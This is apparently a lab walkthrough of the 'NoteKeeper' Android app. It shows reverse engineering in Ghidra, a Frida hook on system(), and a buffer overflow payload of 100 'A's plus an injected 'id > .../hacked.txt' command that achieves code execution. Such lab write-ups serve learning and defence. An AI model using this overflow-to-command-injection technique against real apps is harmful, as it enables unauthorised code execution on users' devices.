I saw someone shared this lab on linkedin and bufferoverlfow grabbed my attention. Since I really enjoy exploitation, I thought I should take a look.
This is lab description : https://www.mobilehackinglab.com/course/lab-notekeeper

We’re given an APK file to start which is called NoteKeeper. We can create a list of notes.

I opened the app in jadx-gui, but there wasn’t anything interesting in MainActivity. The only thing that was a call to a native library named notekeeper.

So I quickly exported libnotekeeper.so file and load it into Ghidra.

In ghidra, we can see there is a function called Java_com_mobilehackinglab_notekeeper_MainActivity_parse.

I modified some variables name to be able to read better.
memcpy(buffer,"Log \"Note added at $(date)\"",500); if (get_strings == (ushort *)0x0) { return_value = 0; } else { buffer_to_store_user_input[0] = FUN_00100bf4(*get_strings & 0xff); for (i = 1; i < get_string_length; i = i + 1) { buffer_to_store_user_input[i] = (char)get_strings[i]; } system(buffer); buffer_to_store_user_input[i] = '\0'; return_value = _JNIEnv::NewStringUTF(local_30,buffer_to_store_user_input); }I noticed that memcpy move this string Log \"Note added at $(date)\ into buffer variable and execute $(date) using system() library. This copies 500 bytes from a string that’s only ~28 bytes long. So the other 472 bytes will be junk.
for (i = 1; i < get_string_length; i = i + 1) { buffer_to_store_user_input[i] = (char)get_strings[i];}And this code loop through all the characters that we typed into title and appends them into buffer_to_store_user_input variable which is only 100 bytes long.
Our goal is to overwrite the buffer variable with our malicious command so we can get code execution.
So what if we put data (junk) more than 100 bytes, the extra data would overflow the buffer?
char buffer_to_store_user_input [100];char buffer [500];To get a better vision, I wrote a frida script to monitor system’s argument from libc.
function HookingNative(libc, sys){ let addr = Module.findExportByName(libc,sys); Interceptor.attach(addr, { onEnter: function (argv) { console.log(sys,"argument -> ", argv[0].readUtf8String()) } }) }
HookingNative("libc.so","system")Run the frida script and just create a note like a normal.

After that, look at frida output and Log "Note added at $(date)" is being passed as a system’s argument.
Now, to check this is overflow or not, let generate 100 A and add BBBBCCCC at the end.
shanekhantaun9@Mac notekeeper % python3 -c 'print("A" * 100)'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOur payload will be like
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCThen run the frida script, inject our payload and see the output.

We can see our 4 B and C are overwriting the value of buffer.
Now let inject linux id command after hunderd A. The payload will be like below
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAid > /data/data/com.mobilehackinglab.notekeeper/hacked.txtCopy that payload, paste it into note.

We’ve completely inject our command into buffer field.

After checking the file under /data/data/com.mobilehackinglab.notekeeper directory.

We can see that it successfully created a hacked.txt file id command.
That’s it, you can also write frida script to inject the payload.